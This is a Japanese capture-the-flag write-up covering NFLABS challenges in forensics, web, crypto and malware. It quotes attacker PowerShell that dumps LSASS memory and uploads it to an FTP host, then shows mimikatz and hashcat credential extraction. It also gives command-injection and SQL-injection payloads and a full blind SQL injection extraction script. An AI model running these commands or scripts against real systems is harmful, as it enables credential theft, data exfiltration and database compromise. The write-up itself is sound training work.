Python で復号
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
key = bytes([202, 151, 129, 18, 202, 27, 189, 202, 250, 194, 49, 179, 154, 35, 220, 77, 167, 134, 239, 248, 20, 124, 78, 114, 185, 128, 119, 133, 175, 238, 72, 187])
datas = [peer1_0, peer0_0, peer1_1, ...]
for data in datas:
cipher = AES.new(key=key, mode=AES.MODE_CBC, iv=data[:16])
print(unpad(cipher.decrypt(data[16:]), 16).decode())
print('-' * 30)
whoami
------------------------------
desktop-fkudirn\developer
PS D:\>
------------------------------
whoami /priv
------------------------------
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Disabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled
SeCreatePagefilePrivilege Create a pagefile Disabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeCreateSymbolicLinkPrivilege Create symbolic links Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled
PS D:\>
------------------------------
Remove-Item -Path $env:TEMP\20231122.dump -Force -ErrorAction Ignore; C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\20231122.dump full | Out-Host; Compress-Archive $env:TEMP\20231122.dump $env:TEMP\20231122.zip; Remove-Item -Path $env:TEMP\20231122.dump -Force -ErrorAction Ignore;
------------------------------
PS D:\>
------------------------------
ls $env:TEMP\20231122.zip
------------------------------
Directory: C:\Users\developer\AppData\Local\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/2/2023 1:33 AM 20249519 20231122.zip
PS D:\>
------------------------------
$d=[System.IO.File]::ReadAllBytes($env:TEMP+"\20231122.zip");$k=SH "gj";$d2=E $k $d;[System.IO.File]::WriteAllBytes($env:TEMP+"\hoge.bin", $d2);Remove-Item -Path $env:TEMP\20231122.zip -Force -ErrorAction Ignore;
------------------------------
PS D:\>
------------------------------
ls $env:TEMP\hoge.bin
------------------------------
Directory: C:\Users\developer\AppData\Local\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/2/2023 1:33 AM 20249536 hoge.bin
PS D:\>
------------------------------
$cl=New-Object System.Net.WebClient;$cl.UploadFile("ftp://user:EiyieV6y@10.1.1.117/hoge", $env:TEMP+"\hoge.bin");Remove-Item -Path hoge.bin -Force -ErrorAction Ignore;
------------------------------
PS D:\>
------------------------------
ls $env:TEMP\hoge.bin
------------------------------
Directory: C:\Users\developer\AppData\Local\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/2/2023 1:33 AM 20249536 hoge.bin
PS D:\>
------------------------------
$cl=New-Object System.Net.WebClient;$cl.UploadFile("ftp://user:EiyieV6y@10.1.1.117/hoge", $env:TEMP+"\hoge.bin");Remove-Item -Path hoge.bin -Force -ErrorAction Ignore;
------------------------------
PS D:\>
------------------------------
exit
------------------------------
Attacker がコマンドを実行して LSASS プロセスのメモリをダンプして 20231122.dump
が作られて,zip に圧縮されて 20231122.zip
になっている.作成された zip ファイルが SHA256('gj')
を鍵として暗号化して hoge.bin
というファイルが作成されて ftp://user:EiyieV6y@10.1.1.117/hoge
にファイルが送信されている.
クレデンシャル情報を抜こうとしている.
この手法については Atomic Red Teamを使ってレッドチーム演習について学んでみる にある.
送信されたファイルを探す.
Wireshark で ftp-data
でフィルタリングすると二つのストリームが見つかるが送信するコマンドが二回実行されているので,これで合ってる.
[Follow] -> [TCP Stream] とすると一つ目は 20MB で二つ目は 19MB と表示され,先程のやりとりから hoge.bin
は 20249536 バイトであることがわかっているので一つ目をダンプする.
復号する.
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
data = open('hoge.bin', 'rb').read()
# print(len(data))
# exit()
key = bytes([229, 198, 233, 198, 50, 233, 34, 120, 241, 139, 106, 226, 41, 106, 2, 53, 225, 193, 115, 147, 17, 187, 80, 99, 204, 24, 94, 66, 104, 116, 16, 225])
cipher = AES.new(key=key, mode=AES.MODE_CBC, iv=data[:16])
data = cipher.decrypt(data[16:])
open('20231122.zip', 'wb').write(data)
ここからパスワードを抜き出したいので mimikatz を使う.
PS C:\Users\yuza\work\nflab> .\mimikatz_trunk\x64\mimikatz.exe "sekurlsa::minidump 20231122.dump" "sekurlsa::logonpasswords full" exit
(snip...)
Authentication Id : 0 ; 7135417 (00000000:006ce0b9)
Session : Interactive from 4
User Name : developer
Domain : DESKTOP-FKUDIRN
Logon Server : DESKTOP-FKUDIRN
Logon Time : 2023/11/02 17:30:22
SID : S-1-5-21-2048235506-495630424-4257220114-1002
msv :
[00000003] Primary
* Username : developer
* Domain : DESKTOP-FKUDIRN
* NTLM : b9a342164519c83554615eb152b582a3
* SHA1 : 666f103efef79267f12f4d8bdd4d3bdb61d1407c
tspkg :
wdigest :
* Username : developer
* Domain : DESKTOP-FKUDIRN
* Password : (null)
kerberos :
* Username : developer
* Domain : DESKTOP-FKUDIRN
* Password : (null)
ssp :
credman :
cloudap :
(snip...)
ユーザ developer
の NTLM ハッシュ b9a342164519c83554615eb152b582a3
が得られるので,これを hash.txt
に保存して hashcat
でパスワードクラックする..
└─< hashcat -a 0 -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
(snip...)
b9a342164519c83554615eb152b582a3:otakudeveloper
(snip...)
otakudeveloper
Web
ASCII
author:kurihara
友人が授業で作成したWebサイトに脆弱性があるという話になりました。Webアプリケーションを診断して脆弱性を特定し、フラグを入手して解答してください。
http://[問題サーバのIPアドレス]:8084
適当な文字を入れてみる.
-
~
を入力するとが返ってくる./root
-
*
とするとが返ってくる.flag.txt server.py templates
-
/*
とするととかが返ってくる./bin /boot /dev /etc
色々試していると /home/student/*
がカレントパスであることがわかる.
"a
だとエラーになり,"a"
は a
が返ってきて,a"a"a"a
とかにするとエラーになる.
他にも入力すると何も返ってこなくなる文字があったり,削除される文字がある. --> おそらく OS コマンドに文字列として渡しているっぽい.
;pwd
とすると /home/student
が返ってくので, ;cat flag.txt
で FLAG が得られる.
NFLABS{1nj3ct_n_unv3il_th3_s3cr3tz}
UniDine
author:kurihara
私たちの管理するWebサイトに対し、外部から脆弱性の報告がありました。Webアプリケーションを診断して脆弱性を特定し、フラグを入手して解答してください。
http://[問題サーバのIPアドレス]:8085
ログイン画面でユーザ ID に '
,パスワードに a
を入力するとエラーになる.
エラー内容は以下の通りで,a'
付近での文法がおかしいと言われている
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'a'' at line 1 in /var/www/html/login.php:20 Stack trace: #0 /var/www/html/login.php(20): mysqli_query() #1 {main} thrown in /var/www/html/login.php on line 20
SQL インジェクションができそう.
'
が原因なのでデータベースの検索を投げる部分で
query = "SELECT * FROM users WHERE user_id='" + user_id + "' and password='" + password + "'"
みたいにクエリが作成されていて何かしら返ってくるとログイン成功にしていると考えられる.
エラー文から MySQL で動いていることがわかるので行末のコメントアウトは #
でできるので,ユーザ ID を ' or 1=1#
とするとクエリが
SELECT * FROM users WHERE user_id='' or 1=1#' and password='hoge'
となってログインできる.
メールアドレスに FLAG が入っている.
NFLABS{l0g1n_h4x_sql_1nj3ct1on}
nolight
author:kin
Vue/Django/SQLiteを使用したWebアプリケーションを調査してほしいと依頼されました。どうやら勝手に身に覚えのないアカウントが作られているようです。対象のWebアプリケーション(SPA)を診断し、どこかに配置されているフラグを入手して解答してください。
http://[問題サーバのIPアドレス]:8082
- ヒント
ヒント1: /api/registration/reserve/と/api/registration/confirm/という2つのAPIの「一連の動作」に、この問題のタイトル「nolight」に関連した重大な脆弱性が「1つ」存在します。このAPIって普通なら裏で何していそうでしょう? また、no lightってどういう意味でしょう? そして、どうやってその脆弱性があることを確かめますか? 「時間」が解決してくれるかもしれません。。。 ヒント2: その脆弱性は、攻撃コードの書き方によってフラグを得るまでにかかる時間にかなり幅がでます。とりあえず「時間」が解決してくれたら、そのままのわけにはいかなそうです。うまいこと他の方法で「成功」と「失敗」がわかるようにできませんかね?また、フレームワークやデータベースの特徴を利用することでフラグを見つけるまでの時間がかなり短縮できます。 ヒント3: フラグは、説明文にあるように、アカウントのいずれかのパラメータの中にあります。
SQLite で動いていて問題名が nolight なので,流石に SQLi ができると信じて探す.
基本的なログインまでの流れ
- ユーザ情報を送信する
/api/registration/reserve/
にを送信すると,レスポンスとして{"email":"email@hoge.com","username":"username","password":"passpass"}
の Cookie が渡される.Set-Cookie: sessionid=j9nc35uug90cef9s4cxycwjz78iy76p4; expires=Tue, 12 Dec 2023 11:14:16 GMT; Max-Age=1209600; Path=/; SameSite=Lax
- 登録
REGISTER を押すと/api/registration/confirm/
にリクエストが送信される.
ただし,このときにメールアドレスやユーザ名は送信されず,Cookie だけが渡されている. - ログイン
ユーザ名とパスワードでログインできる.
脆弱性を探す.
既に登録している名前かメールアドレスで登録しようとすると confirm
したときにレスポンスで "Invaild action."
と返されてしまう.
ユーザ名の長さについてブラウザから送信すると 6 から 16 文字じゃないといけないと出るが,実際にはそんなことはなく,Burpsuite や開発者オプションを開いてネットワークタブを見てみるとリクエストが飛んでいなくてブラウザ側でチェックしていて,16 文字よりも長くしてリクエストを送信するきことができる.(6 文字未満は弾かれる)
Burpsuite の Repeater で直接いじってみたり,以下のようなスクリプトを作って色々試す.
import requests
import random
import string
IP = '10.0.101.5'
URL = f'http://{IP}:8082'
RESV_URL = f'{URL}/api/registration/reserve/'
CONF_URL = f'{URL}/api/registration/confirm/'
username = 'username'
password = 'password'
email = ''.join(random.choices(string.ascii_letters, k=10)) + '@example.com'
print(f'{username = }')
print(f'{password = }')
print(f'{email = }')
data = {
"email": email,
"username": username,
"password": password
}
res = requests.post(RESV_URL, data=data)
if not res.ok:
print('reserve fault')
print(res.headers)
exit()
print('status code =', res.status_code)
cookie = res.headers['Set-Cookie'].split()[0].split('=')[1][:-1]
print(f'{cookie = }')
cookies = {'sessionid': cookie}
res = requests.post(CONF_URL, cookies=cookies, data={})
print('status code =', res.status_code)
色々していると既に登録されていないメールアドレスを使って以下のようにすると (ペイロードの何がどこに刺さってるのかはわからんけど) 何回でも以下のユーザ名とメールアドレスで登録できることがわかる (reserve
と confirm
に送信ができてレスポンスが成功する).
username = "username' AND 1=2--"
password = 'password'
email = 'username@example.com'
ユーザ名で SQLi ができそう (メールアドレスの方は形式が決まっているからインジェクションできなさそう).
どこが原因でこんな挙動になるのか調べていると,ユーザ名を hogehoge''
にして登録まですると hogehoge'
を reserve
に投げるとエラーになることに気づく (メールアドレスを適当に変更しても起きる).
このことから reserve
の検索では SQLi の対策がされているけど,confirm
では対策できていないことが考えられる.
SQLite での '
のエスケープは ''
なので,hogehoge''
で登録しようとすると
-
reserve
では対策がされていないためhogehoge'
で登録されて, -
reserve
ではhogehoge'
を検索すると対策がされているため,そのままの文字列hogehoge'
で検索される.
confirm
ではクエリが成功しても失敗してもレスポンスは同じになってそう.
インジェクションできるか試してみる.
confirm
ではクエリが成功してもしなくてもレスポンスの内容が同じなので Time Based SQLi する.
SQLite なので HackTricks にあるように RANDOMBLOB
を使ってレスポンスが遅延するか確かめる.(RANDOMBLOB
は引数に指定したバイト数の乱数を生成を生成するため,大きな値を指定することで処理に時間がかかる.)
SQLite なので行末のコメントアウトは --
を使えば良い.
INSERT 文で SQLi が起きていると考えられるので HackTricks にあるようにやってみるが
','');[query]--
系はできなさそう.(1 クエリしか実行できない?か,型が違うくて失敗している?)
ユーザ名に ' || RANDOMBLOB(1000000000/2) || '
をつけると confirm
で少しレスポンスが遅くなることが確認できる.
ただし,攻撃に使ったメールアドレスで reserve
に投げてみてもエラーにならないので,クエリの実行自体は失敗しているっぽい.
これを ' || RANDOMBLOB(2) || '
とかにすると登録に使ったメールアドレスがきちんと登録されていることがわかるので,さっきのは文字列が長すぎて失敗したと考えられる.
データベースの構造が何もわかっていないので色んな情報を抜き出す必要があるのでこの辺を参考にしてペイロードを組み立てる
- CTFのWebセキュリティにおけるSQL Injectionまとめ(MySQL/MariaDB, PostgreSQL, SQL Server)
- SQLite Injection
- SQLite SQL Injection Cheat Sheet
ただし今回はヒントにもあるように Time Based SQLi はデータベースのテーブルやカラム名などの情報も抜き出さないといけないのでかなり時間がかかってしまうため,他の手法を考える.
取り出したい情報の文字を抜き出して連結して登録すると reserve
でそのユーザ名を投げるとエラーになるのでそれで調べる.
例えば,
base_username = ''.join(random.choices(string.ascii_letters, k=10))
payload_username = base_username + "' || (SELECT substr(tbl_name,1,1) FROM sqlite_master WHERE type='table' limit 1 offset 0) || '"
としてペイロードを組み立てるとユーザ名には base_username
の後ろに一つ目のテーブル名の一文字目を連結されたものになる.
ここで
for i in range(0x20, 0x7f):
c = chr(i)
check_username = base_username + c
として (メールアドレスは登録されていないものにして) reserve
に送信するとテーブル名の一文字目と一致したときだけ既に登録されているユーザ名なので失敗する.
まずは,テーブル名を出す
import requests
import random
import string
IP = '10.0.101.25'
URL = f'http://{IP}:8082'
RESV_URL = f'{URL}/api/registration/reserve/'
CONF_URL = f'{URL}/api/registration/confirm/'
def send_resv(email, username, password):
data = {
"email": email,
"username": username,
"password": password
}
res = requests.post(RESV_URL, data=data)
if not res.ok:
return None
else:
cookie = res.headers['Set-Cookie'].split()[0].split('=')[1][:-1]
return cookie
def send_conf(cookie):
cookies = {'sessionid': cookie}
res = requests.post(CONF_URL, cookies=cookies, data={})
return res.ok
def rand_data():
base_username = 'RANDUSER_' + ''.join(random.choices(string.ascii_letters, k=10))
password = 'password'
email = ''.join(random.choices(string.ascii_letters, k=10)) + '@example.com'
return base_username, password, email
def get_table_num():
base_username, password, email = rand_data()
payload_username = base_username + "' || (SELECT count(tbl_name) FROM sqlite_master WHERE type='table') || '"
cookie = send_resv(email, payload_username, password)
assert cookie
send_conf(cookie)
for i in range(1, 0x100):
c = str(i)
check_username = base_username + c
check_email = 'check_' + email
res = send_resv(check_email, check_username, password)
if not res:
print(f'table num: {i}')
return i
def get_table_names(table_num):
for t in range(table_num):
table_name_length = get_table_name_length(t)
table_name = ''
for i in range(table_name_length):
c = ''
for j in range(7):
base_username, password, email = rand_data()
payload_username = base_username + f"' || (SELECT (unicode(substr(tbl_name,{i + 1},1))>>{j})&1 FROM sqlite_master WHERE type='table' limit 1 offset {t}) || '"
cookie = send_resv(email, payload_username, password)
assert cookie
send_conf(cookie)
check_username = base_username + '1'
check_email = 'check_' + email
res = send_resv(check_email, check_username, password)
c = ('0' if res else '1') + c
table_name += chr(int(c, 2))
print(f'table {t + 1}: {table_name}')
exit()
def get_table_name_length(t):
base_username, password, email = rand_data()
payload_username = base_username + f"' || (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' limit 1 offset {t}) || '"
cookie = send_resv(email, payload_username, password)
assert cookie
send_conf(cookie)
for i in range(1, 0x100):
c = str(i)
check_username = base_username + c
check_email = 'check_' + email
res = send_resv(check_email, check_username, password)
if not res:
return i
if __name__ == '__main__':
table_num = get_table_num()
get_table_names(table_num)
└─< py solve.py
table num: 12
table 1: django_migrations
table 2: sqlite_sequence
table 3: django_content_type
table 4: auth_group_permissions
table 5: auth_permission
table 6: auth_group
table 7: backend_app_account_groups
table 8: backend_app_account_user_permissions
table 9: backend_app_news
table 10: backend_app_newsaccount
table 11: backend_app_account
table 12: django_session
backend_app_account
を探せば良さそう.
(テーブル名の探索では,一文字ずつではなく 1 ビットずつ探索してみたけどそこまで早くならなかった.総リクエストの回数は減るけど confirm
への送信が重い?)
元から登録されていたユーザの数を調べる (サーバを初期化してから実行する).
def get_record_num(table_name):
base_username, password, email = rand_data()
payload_username = base_username + f"' || (SELECT count(*) FROM {table_name}) || '"
cookie = send_resv(email, payload_username, password)
assert cookie
send_conf(cookie)
for i in range(1, 0x100):
c = str(i)
check_username = base_username + c
check_email = 'check_' + email
res = send_resv(check_email, check_username, password)
if not res:
print(f'record num: {i}')
return i
└─< py solve.py
record num: 3
└─< py solve.py
record num: 4
三人であることがわかる (二回目の実行時は一回目のペイロードで一人登録されているから増える).
カラム名を調べる.
def get_column_name(table_name):
data = ''
i = 249
while True:
base_username, password, email = rand_data()
payload_username = base_username + f"' || substr((SELECT sql FROM sqlite_master WHERE type='table' AND name='{table_name}'),{i},1) || '"
cookie = send_resv(email, payload_username, password)
assert cookie
send_conf(cookie)
for j in range(0x20, 0x7f):
c = chr(j)
check_username = base_username + c
check_email = 'check_' + email
res = send_resv(check_email, check_username, password)
if not res:
data += c
break
else:
data += ' '
if len(data) > 2 and data[-2:] == ' ':
break
print(data)
i += 1
CREATE TABLE "backend_app_account" ("id" integer NOT NULL PRIMARY KEY AUTOINCREMENT, "password" varchar(128) NOT NULL, "last_login" datetime NULL, "is_active" bool NOT NULL, "email" varchar(500) NOT NULL UNIQUE, "username" varchar(500) NOT NULL UNIQUE)
特別なカラムは無さそうなので,ユーザ名,パスワード,メールアドレスを調べる.
ここで,ペイロードを実行する度に新しいユーザが登録されてしまって邪魔なので
base_username = 'RANDUSER_' + ''.join(random.choices(string.ascii_letters, k=10))
でペイロードのユーザ名を生成して
SELECT group_concat({column_name}) FROM {table_name} WHERE username NOT LIKE 'RANDUSER%'
で検索することでフィルタリングができる.
def get_data(table_name, column_name):
data = ''
i = 1
while True:
base_username, password, email = rand_data()
payload_username = base_username + f"' || substr((SELECT group_concat({column_name}) FROM {table_name} WHERE username NOT LIKE 'RANDUSER%'),{i},1) || '"
cookie = send_resv(email, payload_username, password)
assert cookie
send_conf(cookie)
for j in range(0x20, 0x7f):
c = chr(j)
check_username = base_username + c
check_email = 'check_' + email
res = send_resv(check_email, check_username, password)
if not res:
data += c
break
else:
data += ' '
if len(data) > 2 and data[-2:] == ' ':
break
print(data)
i += 1
if __name__ == '__main__':
get_data(table_name, 'username')
'''
alexander.smith,emily.smith,william.wilson
'''
get_data(table_name, 'email')
'''
emily.smith@example.com,william.wilson@example.com,alexander.smith@example.com
'''
get_data(table_name, 'password')
'''
pbkdf2_sha256$600000$uQn...
'''
ユーザ名とメールアドレスには FLAG はなかったので,パスワードのハッシュ値に FLAG がありそうなことがわかる.
パスワードのハッシュ値が FLAG になっているので,目的のものだけ pbkdf
で始まっていないと考えられるので
SELECT group_concat(password) FROM {table_name} WHERE password NOT LIKE 'pbkdf2%'
で検索する.
def get_flag(table_name):
data = ''
i = 1
while True:
base_username, password, email = rand_data()
payload_username = base_username + f"' || substr((SELECT group_concat(password) FROM {table_name} WHERE password NOT LIKE 'pbkdf2%'),{i},1) || '"
cookie = send_resv(email, payload_username, password)
assert cookie
send_conf(cookie)
for j in range(0x20, 0x7f):
c = chr(j)
check_username = base_username + c
check_email = 'check_' + email
res = send_resv(check_email, check_username, password)
if not res:
data += c
break
else:
data += ' '
if len(data) > 2 and data[-2:] == ' ':
break
print(data)
i += 1
NFLABS{D3lay3d_bl1nd_S0L_inj3ct10n_1s_C0mpl1c@t3d!!!}
Dev
stegano
author:kawaai
ステガノプログラムmain.goを用いてflagを画像の中に隠した。画像からflagを見つけよ。
stegano.zip
stegano.zip
├── main.go
└── stegano.png
4 つのピクセルが同じ色になっていて,右下以外の値が FLAG によって変化している.
これらの 4 つのブロックが重なることはないので,ひとつずつ右下のピクセルと差があるのかを確認すると FLAG が得られる.
from PIL import Image
im = Image.open('./stegano/stegano.png')
width, height = im.size
flag = ''
x = y = 100
for i in range(0, 100):
rgb1 = im.getpixel((x*2, y*2))
rgb2 = im.getpixel((x*2+1, y*2))
rgb3 = im.getpixel((x*2, y*2+1))
rgb4 = im.getpixel((x*2+1, y*2+1))
box = list(rgb1) + list(rgb2) + list(rgb3)
f = 0
for j in range(8):
if box[j] != rgb4[j % 3]:
f += 1 << j
flag += chr(f)
if flag[-1] == '}':
break
x += 1
y = (y + rgb3[2]) % (height // 2)
print(flag)
cipher
author:kawaai
暗号化プログラムmain.goを用いてflagを暗号化した。復号してflagを入手せよ。ただし暗号キーは与えられていない。
cipher.zip
cipher.zip
├── encrypted_flag.bin
├── encrypted_text_example.bin
├── main.go
└── plain_text_example.txt
add_padding
では 8 バイトに満たない部分を 0 で埋めて,64 ビットの unsigned int の列に変換している.
鍵から生成される配列 cv
の各要素は一桁の非負整数になっていて,よく読んでみると cv
は色んな所で渡されているけど.
g3 := Ftable(g2^cv[(4*k)%6]) ^ g1
g4 := Ftable(g3^cv[(4*k+1)%6]) ^ g2
g5 := Ftable(g4^cv[(4*k+2)%6]) ^ g3
g6 := Ftable(g5^cv[(4*k+3)%6]) ^ g4
でしか使われていなくて cv
の先頭 6 要素しか使っていないので,plain_text_example.txt
と encrypted_text_example.bin
を使って総当りで cv
の必要な部分はわかる.
FLAG は各 64 ビットがそれぞれ暗号化されていて,処理自体は逆の処理が簡単に実装できるので,そのまま復号できる.
from Crypto.Util.number import bytes_to_long, long_to_bytes
import itertools
table = [None] * 16
table[0] = [0xd7, 0xa3, 0x83, 0x09, 0x48, 0xf8, 0xf4, 0xf6, 0x21, 0xb3, 0x78, 0x15, 0xb1, 0x99, 0xf9, 0xaf]
table[1] = [0x2d, 0xe7, 0x8a, 0x4d, 0x4c, 0xce, 0x2e, 0xca, 0x95, 0x52, 0x1e, 0xd9, 0x38, 0x4e, 0x28, 0x44]
table[2] = [0xdf, 0x0a, 0xa0, 0x02, 0xf1, 0x17, 0x68, 0x60, 0xb7, 0x12, 0xc3, 0x7a, 0xfa, 0xe9, 0x53, 0x3d]
table[3] = [0x84, 0x96, 0xba, 0x6b, 0x63, 0xf2, 0x19, 0x9a, 0xae, 0x7c, 0xf5, 0xe5, 0x16, 0xf7, 0xa2, 0x6a]
table[4] = [0xb6, 0x39, 0x0f, 0x7b, 0x93, 0xc1, 0x1b, 0x81, 0xb4, 0xee, 0xea, 0x1a, 0x91, 0xd0, 0xb8, 0x2f]
table[5] = [0xb9, 0x55, 0x85, 0xda, 0x41, 0x3f, 0xe0, 0xbf, 0x58, 0x5a, 0x5f, 0x80, 0x0b, 0x66, 0x90, 0xd8]
table[6] = [0xd5, 0x35, 0xa7, 0xc0, 0x06, 0x33, 0x69, 0x65, 0x00, 0x45, 0x56, 0x94, 0x98, 0x6d, 0x76, 0x9b]
table[7] = [0xfc, 0x97, 0xc2, 0xb2, 0xfe, 0xb0, 0x20, 0xdb, 0xeb, 0xe1, 0xe4, 0xd6, 0x47, 0xdd, 0x1d, 0x4a]
table[8] = [0xed, 0x42, 0x6e, 0x9e, 0x3c, 0x49, 0x43, 0xcd, 0xd2, 0x27, 0xd4, 0x07, 0xc7, 0xde, 0x18, 0x67]
table[9] = [0xcb, 0x89, 0x1f, 0x30, 0xc6, 0x8d, 0xaa, 0x8f, 0x74, 0xc8, 0xc9, 0xdc, 0x5c, 0x5d, 0xa4, 0x31]
table[10] = [0x88, 0x70, 0x2c, 0x61, 0x0d, 0x9f, 0x87, 0x2b, 0x82, 0x50, 0x64, 0x54, 0x7d, 0x26, 0x40, 0x03]
table[11] = [0x4b, 0x34, 0x73, 0x1c, 0xc4, 0xd1, 0x3b, 0xfd, 0xfb, 0xcc, 0xab, 0x7f, 0x3e, 0xe6, 0xa5, 0x5b]
table[12] = [0x04, 0xad, 0x9c, 0x23, 0x51, 0x14, 0xf0, 0x22, 0x79, 0x29, 0x7e, 0x71, 0x8c, 0xff, 0xe2, 0x0e]
table[13] = [0xef, 0x0c, 0x72, 0xbc, 0x6f, 0x75, 0xa1, 0x37, 0xd3, 0xec, 0x62, 0x8e, 0x86, 0x8b, 0xe8, 0x10]
table[14] = [0x77, 0x08, 0xbe, 0x11, 0x4f, 0x92, 0xc5, 0x24, 0x36, 0x32, 0xcf, 0x9d, 0xa6, 0xf3, 0xac, 0xbb]
table[15] = [0x6c, 0x5e, 0x13, 0xa9, 0x25, 0x57, 0xe3, 0xb5, 0xa8, 0xbd, 0x01, 0x3a, 0x59, 0x05, 0x46, 0x2a]
Ftable = lambda i: table[i >> 4][((i << 4) & 0xff) >> 4]
def search_cv():
pte = open('./cipher/plain_text_example.txt', 'rb').read()
pte_uint64 = add_padding(pte)
encrypted_pte_data = open('./cipher/encrypted_text_example.bin', 'rb').read()
encrypted_pte = []
for i in range(0, len(encrypted_pte_data), 8):
encrypted_pte.append(bytes_to_long(encrypted_pte_data[i : i+8]))
for cv in itertools.product(list(range(10)), repeat=6):
cv = list(cv)
encrypted_pte__ = encrypt(pte_uint64, cv)
if all(e1 == e2 for e1, e2 in zip(encrypted_pte, encrypted_pte__)):
print(f'{cv = }')
return cv
else:
print('Not found cv')
exit()
def encrypt(input, cv):
encrypted = []
for i in input:
encrypted.append(encrypt_uint64(i, cv))
return encrypted
def add_padding(text):
padding_len = 8 - (((len(text) - 1) % 8) + 1)
result = []
padded_text = text + b'\x00' * padding_len
for i in range(0, len(padded_text), 8):
result.append(int.from_bytes(padded_text[i : i+8], 'big'))
return result
def B(k, input, cv):
w1 = input >> 48
w2 = ((input << 16) & ((1 << 64) - 1)) >> 48
w3 = ((input << 32) & ((1 << 64) - 1)) >> 48
w4 = ((input << 48) & ((1 << 64) - 1)) >> 48
g = G(k, w1, cv)
o1 = w4
o2 = g
o3 = w1 ^ w2 ^ (k + 1)
o4 = w3
return (o1 << 48) + (o2 << 32) + (o3 << 16) + o4
def A(k, input, cv):
w1 = input >> 48
w2 = ((input << 16) & ((1 << 64) - 1)) >> 48
w3 = ((input << 32) & ((1 << 64) - 1)) >> 48
w4 = ((input << 48) & ((1 << 64) - 1)) >> 48
g = G(k, w1, cv)
o1 = g ^ w4 ^ (k + 1)
o2 = g
o3 = w2
o4 = w3
return (o1 << 48) + (o2 << 32) + (o3 << 16) + o4
def G(k, input, cv):
g1 = input >> 8
g2 = ((input << 8) & 0xffff) >> 8
g3 = Ftable(g2^cv[(4*k)%6]) ^ g1
g4 = Ftable(g3^cv[(4*k+1)%6]) ^ g2
g5 = Ftable(g4^cv[(4*k+2)%6]) ^ g3
g6 = Ftable(g5^cv[(4*k+3)%6]) ^ g4
return (g5 << 8) + g6
def encrypt_uint64(input, cv):
current = input
k = 0
for i in range(2):
for j in range(4):
current = A(k, current, cv)
k += 1
for j in range(8):
current = B(k, current, cv)
k += 1
return current
def search_flag(cv):
encrypted_flag_data = open('./cipher/encrypted_flag.bin', 'rb').read()
encrypted_flag = []
for i in range(0, len(encrypted_flag_data), 8):
encrypted_flag.append(bytes_to_long(encrypted_flag_data[i : i+8]))
flag = b''
for enc in encrypted_flag:
flag += long_to_bytes(inv_encrypt_uint64(enc, cv))
print(flag)
def inv_B(k, input, cv):
o1 = input >> 48
o2 = ((input << 16) & ((1 << 64) - 1)) >> 48
o3 = ((input << 32) & ((1 << 64) - 1)) >> 48
o4 = ((input << 48) & ((1 << 64) - 1)) >> 48
g = o2
w1 = inv_G(k, g, cv)
w2 = o3 ^ w1 ^ (k + 1)
w3 = o4
w4 = o1
return (w1 << 48) + (w2 << 32) + (w3 << 16) + w4
def inv_A(k, input, cv):
o1 = input >> 48
o2 = ((input << 16) & ((1 << 64) - 1)) >> 48
o3 = ((input << 32) & ((1 << 64) - 1)) >> 48
o4 = ((input << 48) & ((1 << 64) - 1)) >> 48
g = o2
w1 = inv_G(k, g, cv)
w2 = o3
w3 = o4
w4 = o1 ^ g ^ (k + 1)
return (w1 << 48) + (w2 << 32) + (w3 << 16) + w4
def inv_G(k, g, cv):
g6 = g & 0xff
g5 = g >> 8
g4 = Ftable(g5^cv[(4*k+3)%6]) ^ g6
g3 = Ftable(g4^cv[(4*k+2)%6]) ^ g5
g2 = Ftable(g3^cv[(4*k+1)%6]) ^ g4
g1 = Ftable(g2^cv[(4*k)%6]) ^ g3
return (g1 << 8) + g2
def inv_encrypt_uint64(input, cv):
current = input
k = 24
for i in range(2):
for j in range(8):
k -= 1
current = inv_B(k, current, cv)
for j in range(4):
k -= 1
current = inv_A(k, current, cv)
return current
if __name__ == '__main__':
cv = search_cv()
search_flag(cv)
Malware
wordle
author:minakawa
我が社の海外拠点でアラートがあがったみたい!!
......って、業務用端末でゲームしちゃだめでしょ😠💢💢💢
しかもこれ、表層情報見たら変なコード入ってるじゃん!!さては、怪しいところから落としてきたな???
wordle.zip
中身見てみると Node.js のコードが大量にあるので,Node.js で書かれたものを実行ファイルにしているっぽい.
デコンパイルできるツールを探してみると pkg unpacker がだめだったので,nexeDecompiler を試してみるとできた.
└─< nexedecompiler --dest ./unpack wordle.exe
└─< ls ./unpack
index.js node_modules words.json
index.js を見ると setup
関数の中に明らかに怪しい Base64 でエンコードされた文字列がある.
Blowfish
で復号化もしているが,鍵は zWpO09t.getTimezoneOffset()
の戻り値で,直前の処理で zWpO09t.getTimezoneOffset() != 480
なら終了するようになっているので以下のように書き換えると FLAG が出力される
async function setup(){
let G8o6nft = "";
for (let i=97;i < wordsJSON.length; i+=99){
G8o6nft += wordsJSON[i]
}
const zWpO09t = new Date();
